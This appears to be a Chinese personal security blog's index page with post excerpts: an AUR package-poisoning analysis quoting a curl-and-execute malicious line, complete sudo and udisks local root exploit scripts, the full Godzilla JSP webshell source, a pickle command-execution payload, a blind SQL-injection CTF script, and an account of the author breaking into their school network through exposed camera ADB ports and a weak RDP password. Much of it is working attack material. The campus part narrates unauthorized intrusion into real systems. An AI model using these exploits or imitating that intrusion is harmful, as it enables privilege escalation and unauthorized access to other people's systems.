AUR软件投毒跟踪

因为我本人就是LinuxUser,之前使用的发行版是archlinux虽对这事相对第一时间发现,这次事件有数个软件包遭遇投毒 我近期查询到的信息如下 最早的投毒 minecraft-cracked ttf-all-ms-fonts ttf-ms-fonts-all vesktop-bin-patched 目前这些仓库都被删除,连历史都没有,很可惜,但依旧可以根据reddit1与BleepingComputer[4]的信息大致可以猜测攻击链如下 2025年7月16日,名叫danikpapas的用户想aur上传了恶意软件包,时间是UTC时间18:46 2025年7月16日至18日,一个长期休眠的账户激活,发帖[2]开始宣传恶意软件包 2025年7月18日,reddit上有人开始发出警报,各类沙箱分析后发现其中夹杂远控[5][6][2] 2025年7月18日 (约 18:00 UTC+2),ArchLinux团队下场移出恶意软件包,而后发布安全通告 向量 攻击者通过修改patches指向了自己的仓库[7]目前已不可访问,在用户拉取脚本安装的时候会导致这个仓库内的东西作为补丁在构建过程中起效,而后会在/tmp下创建名为systemd-initd的可执行文件,c2为 : 130.162.225.47:8080,手法相当之业余,且不说操之过急直接在reddit[2]发帖宣传,木马没有做任何免杀,c2估计是直接租的vps….. graph TD; A[用户拉取恶意软件包] --> B[编译过程拉取patches]; B --> C[向tmp目录写入恶意软件]; C --> D[回连C2服务器]; 在微步上还能看到一个exe的马 LOL) 第二次 这次的两个恶意软件确实我确实将他们从git中拉下来了,其中一个名为google-chrome-stable与chrome[8]的软件包的PKGBUILD如下 google-chrome-stable.sh - aur.git - AUR Package Repositories google-chrome-stable.sh - aur.git - AUR Package Repositories #!/bin/bash XDG_CONFIG_HOME=${XDG_CONFIG_HOME:-~/.config} # Allow users to override command-line options if [[ -f $XDG_CONFIG_HOME/chrome-flags.conf ]]; then CHROME_USER_FLAGS="$(grep -v '^#' $XDG_CONFIG_HOME/chrome-flags.conf)" fi # Launch python -c "$(curl https://segs.lol/9wUb1Z)" exec /opt/google/chrome/google-chrome $CHROME_USER_FLAGS "$@" 他所伪装的google-chrome原仓库如下 curl所指向的https://segs.lol/是一个不常见的公开文件保存服务,微步上没有任何情报,我其实怀疑是攻击者所搭建的,目前文件已经删除网上没有找到公开信息,但可以推测路径为 ...

August 2, 2025 · 1 min · 140 words · neko

针对 CVE-2025-32463代码跟踪

既上次对这个罕见的sudo漏洞的复现利用已经过去了几天,陆陆续续各大发行版已经推送了修复补丁,各个安全从业者也复现了漏洞,但似乎除了stratascale并没有人尝试追踪漏洞代码及其成因,虽然有些难度但还是想尝试下 How CVE-2025-32463问题出在sudo的-R功能上 简单来说这个漏洞的是利用了 Sudo 在处理 chroot 选项时的一个缺陷联合nss劫持,即使一个普通用户没有任何 Sudo 权限,他们也可以利用这个漏洞将权限提升到 root Way 从github clone下代码,在log中可以找到这次修复,show一份出来方便分析 先看到sudoers.c diff --git a/plugins/sudoers/sudoers.c b/plugins/sudoers/sudoers.c index ad2fa2f61..1a8031740 100644 --- a/plugins/sudoers/sudoers.c +++ b/plugins/sudoers/sudoers.c @@ -1092,7 +1092,6 @@ init_vars(struct sudoers_context *ctx, char * const envp[]) int set_cmnd_path(struct sudoers_context *ctx, const char *runchroot) { - struct sudoers_pivot pivot_state = SUDOERS_PIVOT_INITIALIZER; const char *cmnd_in; char *cmnd_out = NULL; char *path = ctx->user.path; @@ -1111,13 +1110,7 @@ set_cmnd_path(struct sudoers_context *ctx, const char *runchroot) if (def_secure_path && !user_is_exempt(ctx)) path = def_secure_path; - /* Pivot root. */ - if (runchroot != NULL) { - if (!pivot_root(runchroot, &pivot_state)) - goto error; - } - - ret = resolve_cmnd(ctx, cmnd_in, &cmnd_out, path); + ret = resolve_cmnd(ctx, cmnd_in, &cmnd_out, path, runchroot); if (ret == FOUND) { char *slash = strrchr(cmnd_out, '/'); if (slash != NULL) { @@ -1134,14 +1127,8 @@ set_cmnd_path(struct sudoers_context *ctx, const char *runchroot) else ctx->user.cmnd = cmnd_out; - /* Restore root. */ - if (runchroot != NULL) - (void)unpivot_root(&pivot_state); - debug_return_int(ret); error: - if (runchroot != NULL) - (void)unpivot_root(&pivot_state); free(cmnd_out); debug_return_int(NOT_FOUND_ERROR); } 看的出来入口为 ...

July 27, 2025 · 2 min · 402 words · neko

CVE-2025-32463 and CVE-2025-32462 sudo提权漏洞

少见的sudo漏洞,一爆就爆俩 CVE-2025-32463 脚本如下 #!/bin/bash echo "[+] CVE-2025-32463 Sudo chroot 漏洞复现脚本" echo "[*] 正在创建临时工作目录..." STAGE=$(mktemp -d /tmp/sudo_exploit.XXXXXX) if [ ! -d "$STAGE" ]; then echo "[-] 错误: 无法创建临时目录。" exit 1 fi cd "${STAGE}" || exit 1 echo "[*] 工作目录已创建: ${STAGE}" echo "[*] 正在创建 C 语言 payload (woot1337.c)..." cat > woot1337.c << EOF #include <unistd.h> #include <stdlib.h> // __attribute__((constructor)) 确保 woot() 函数在库加载时自动执行 __attribute__((constructor)) void woot(void) { // 将真实用户ID和有效用户ID都设置为0 (root) setreuid(0, 0); // 将真实组ID和有效组ID都设置为0 (root) setregid(0, 0); chdir("/"); execl("/bin/bash", "/bin/bash", NULL); } EOF # 创建 chroot 环境和nsswitch.conf echo "[*] 正在设置 chroot 环境和恶意的 nsswitch.conf..." mkdir -p woot/etc # 核心 echo "passwd: /woot1337" > woot/etc/nsswitch.conf echo "[*] 正在将 payload 编译为共享库 (libnss_/woot1337.so.2)..." mkdir -p libnss_ gcc -shared -fPIC -o libnss_/woot1337.so.2 woot1337.c if [ ! -f "libnss_/woot1337.so.2" ]; then echo "[-] 错误: 编译失败。请确保已安装 gcc。" rm -rf "${STAGE}" exit 1 fi echo "[*] 编译成功!" echo "[+] root shell!!!!!" echo "woot!" sudo -R woot woot echo "[*] 正在清理临时文件..." rm -rf "${STAGE}" 这个漏洞 简单来说就是sudo的chroot功能在没有验证的情况下以root的权限启动了一个chroot服务,然后去搜索了nsswitch.conf文件,而他又通过其中的恶意规则启动了一个恶意共享库,共享库通过root权限执行了一个bashshell,boom! ...

July 2, 2025 · 1 min · 192 words · neko

CVE-2025-6018 and CVE-2025-6019 本地提权

CVE-2025-6018: 在 *SUSE 15 的 PAM 中从无特权用户到 allow_active 的本地权限提升 CVE-2025-6019: 从 allow_active 到 root 的本地权限提升,通过 udisks 利用 libblockdev 先来看6019的问题,根据Qualys安全公告不难知道问题出现在xfs文件系统临时挂载的操作上,没有正确使用nosuid,从而导致的问题出现 本地复现 CVE-2025-6019 先构建一个xfs的镜像,在其中放入bash dd if=/dev/zero of=xfs.image bs=1M count=300 # XFS mkfs.xfs -f xfs.image sudo mkdir -p /mnt/malicious_image sudo mount -t xfs xfs.image /mnt/malicious_image # SUID Shell sudo cp /bin/bash /mnt/malicious_image/root-shell sudo chmod 4755 /mnt/malicious_image/root-shell sudo umount /mnt/malicious_image sudo rmdir /mnt/malicious_image echo "ok" payload echo "当前用户: $(whoami)" id # yes gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanReboot killall -KILL gvfs-udisks2-volume-monitor &>/dev/null # loop 设备 udisksctl loop-setup --file ~/xfs.image # 启动后台进程 while true; do /tmp/blockdev*/root-shell -c 'sleep 5' && break; done &>/dev/null & # UDisks2 触发漏洞 gdbus call --system --dest org.freedesktop.UDisks2 \ --object-path /org/freedesktop/UDisks2/block_devices/loop0 \ --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}' &>/dev/null # 等待 sleep 2 # 查找并执行 SUID Shell ROOT_SHELL_PATH=$(find /tmp -name "root-shell" -perm -4000 2>/dev/null | head -n 1) if [ -n "$ROOT_SHELL_PATH" ]; then echo "成功找到 Root Shell: $ROOT_SHELL_PATH" echo "正在提权..." ${ROOT_SHELL_PATH} -p else echo "错误: 未找到 SUID Shell,提权失败。" fi 理想情况下会获得如下效果 ...

June 29, 2025 · 2 min · 228 words · neko

python 反序列化pickle模块

python的反序列化和其他语言的类似功能类似,都是将对象数据转化为字节流方便存储与流转,使用时在将其转化回对原始对象的过程 python中的反序列化一般有两种方式:pickle模块与json模块,前者为python特有格式,后者使用通用json格式 python反序列化漏洞主涉及以下几个概念pickle,pvm,__redurce__ ,魔术方法 pickle pickle是python的内置的反序列化模块,核心功能是将python对象转化为字节流(序列化),以及将字节流还原为对象(反序列化) 简单演示: import base64 import pickle data = { "name":"123123", "age":30 } datapic = pickle.dumps(data) print(base64.b64encode(datapic)) 服务端 import base64 import pickle data = input("Enter payload: ").encode() obj = pickle.loads(base64.b64decode(data)) print(obj) Enter payload: gASVHQAAAAAAAAB9lCiMBG5hbWWUjAYxMjMxMjOUjANhZ2WUSx51Lg== {'name': '123123', 'age': 30} pickle可以用于绝大多数python对象,他的操作方法有如下四种 dump 对象序列化到文件对象并存入文件 dumps 对象序列为字节流 load 对象反序列化,从文件读取数据 loads 对象反序列化,从字节流读取数据 PVM python虚拟机的简写,先前序列化出来的内容其实就是pvm的操作内容 PVM结构 pvm所处理的数据是是一个二进制字节流,由协议头、操作码、数据段、和状态控制符组成 \x80\x04\x95\x1d\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x02id\x94\x85\x94R\x94. 通过pickletools可以将其分解可读的操作码 import pickletools payload = b'\x80\x04\x95\x1d\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x02id\x94\x85\x94R\x94.' # 查看 PVM 指令分解 pickletools.dis(payload) 0: \x80 PROTO 4 2: \x95 FRAME 29 11: \x8c SHORT_BINUNICODE 'posix' 18: \x94 MEMOIZE (as 0) 19: \x8c SHORT_BINUNICODE 'system' 27: \x94 MEMOIZE (as 1) 28: \x93 STACK_GLOBAL 29: \x94 MEMOIZE (as 2) 30: \x8c SHORT_BINUNICODE 'id' 34: \x94 MEMOIZE (as 3) 35: \x85 TUPLE1 36: \x94 MEMOIZE (as 4) 37: R REDUCE 38: \x94 MEMOIZE (as 5) 39: . STOP 协议头 标识使用的pickle协议版本一般使用 ...

March 15, 2025 · 2 min · 248 words · neko

CloudFlare WAF 配置

CloudFlare WAF 配置 说实在的不知道招谁惹谁了,近期网站常常受到ddos攻击,之前对waf的配置没什么了解都是临时招架,但这次多变和长时间的攻击让我找到了防御的方法 其实重点就两个,速率限制与ip封禁 速率限制 在 安全性->WAF的选项中选择速率限制规则 url路径通配符 配置如下 ip封禁 在时间处可以导出json的事件信息,通过python的处理,提取出不重复的ip手动封禁 import json with open('data.json', 'r') as file: data = json.load(file) unique_ips = set() for entry in data: if 'clientIP' in entry: unique_ips.add(entry['clientIP']) with open('unique_ips.txt', 'w') as file: for ip in unique_ips: file.write(ip + '\n') 这样针对个人网站的小量级攻击基本都能拦下来

January 19, 2025 · 1 min · 47 words · neko

玄机哥斯拉4.0流量分析

黑客ip 打开wireshark,一眼ip flag{192.168.31.190} 什么漏洞 过滤ip.src == 192.168.31.190 && http下面会看到一个put请求的hello.jsp put上传漏洞 是tomcat的CVE-2017-12615 flag{cve-2017-12615} 木马文件名 flag{hello.jsp} 连接密码 and 密钥 源码如下 <%! String xc="1710acba6220f62b"; String pass="7f0e6f"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){} %> 不难看出是标准的哥斯拉木马 ...

November 5, 2024 · 2 min · 287 words · neko

ctfshowWP

今后有关ctfshow的解题都会在这里 ctfshow web8 sql注入,不过过滤了很多东西,常见的and,union空格 但依旧可以通过 GET /index.php?id=2/**/or/**/true# GET /index.php?id=2/**/or/**/false# 来判断真假来注入 需要使用盲注,函数为ascii,原理就是比对 or/**/ascii(substr(database()from/**/1/**/for/**/1))=ascii(substr(database()from/**/1/**/for/**/1))%23 截取当前数据库的第一个字符,比对第一个字符,返回很多文章,证明是true,成功 查询当前数据库的代码 import requests def check_id(id_value, position): # position 递增 url = f"https://df8032cd-0662-449d-bb7d-7ccd15eb9c62.challenge.ctf.show/index.php?id=-1/**/or/**/ascii(substr(database()from/**/{position}/**/for/**/1))={id_value}#" response = requests.get(url, verify=False) # 长度大于 403 ASCII if len(response.content) > 403: ascii_value = chr(id_value) return ascii_value return None def main(): inp = "" position = 1 # 查询位置 while position <= 5: for i in range(0, 128): # 遍历ascii result = check_id(i, position) if result is not None: inp += result print(f"Position: {position}, ASCII: {result}") position += 1 break print(f"Final input: {inp}") if __name__ == "__main__": main() 查询到数据库名称为web8 ...

September 16, 2024 · 2 min · 316 words · neko

shellcode初探索

shellcode初探——helloShellcode 我曾在一篇博客里写过 安全就是一群点错技能树的程序员——有些甚至不是 很遗憾,我就是后者,对于c的理解仅仅存在于hello word,shellcode也是只存在与msfvenom 这次算是我第一次算是认真接触 ShellCode? 机器码? shellcode的本质上一段机器码,通常由汇编代码编译而成的最终产物,例如我想获得一个拉起bashshell的机器码需要做的是先获得一个bashshell的程序,在汇编中的他的写法是这样的 section .data bin_sh db '/bin/bash', 0x00 ; 字符串 "/bin/bash" section .text global _start _start: ; 调用 execve("/bin/bash", ["/bin/bash"], NULL) xor rax, rax ; 清除 rax mov rdi, bin_sh ; rdi 指向 "/bin/bash" push rax ; 在栈上压入 NULL (argv) mov rsi, rsp ; rsi 指向 argv 数组 push rax ; 在栈上压入 NULL (envp) mov rdx, rsp ; rdx 指向 envp 数组 mov al, 59 ; syscall 59 是 execve syscall ; 触发系统调用 这段代码通过系统调用execve执行了/bin/sh,要获得他的机器码需要先编译为可执行文件,而汇编到可执行文件有两步 ...

September 9, 2024 · 3 min · 491 words · neko

校园网突破

校园网突破 简单来说就是内网渗透,除了突破学校网络来上网,还有就是看看能不能拿下更多的设备 出网权限获取 学校的设置是教学区可以使用校园网出网,而宿舍虽然有校园网的选项但是并不能出网,根据之前的上个学期的经验学校的宿舍网络与校园网络是相通的也就是说最简单的方法就是找到一台教学区的设备作为跳板出网,这并不难,去年学校装了不少监控开着adb端口我已经报告了好几次了——你既然不修,那我就来用 随即选择一台幸运设备连接 可以看到是一个标准shell,nmap扫描结果显示开放ssh端口,这就好办了,修改passwd文件手动写入一个用户 在用passwd命令修改密码 这样就拿到了ssh权限,可以做代理了 速度尚可,但是非常不稳定 通过一个rdp弱口令进入了一台服务器,在user下发现了个好玩的 s 原以为是已经被人拿下了 但这不像 供 h 管 应 t 理 链 t 员 p : : a / d / m * i * n * . * * * 密 . 码 * : * * * * . * * * * / x x x / D e f a u l t . a s p x ...

September 7, 2024 · 4 min · 654 words · neko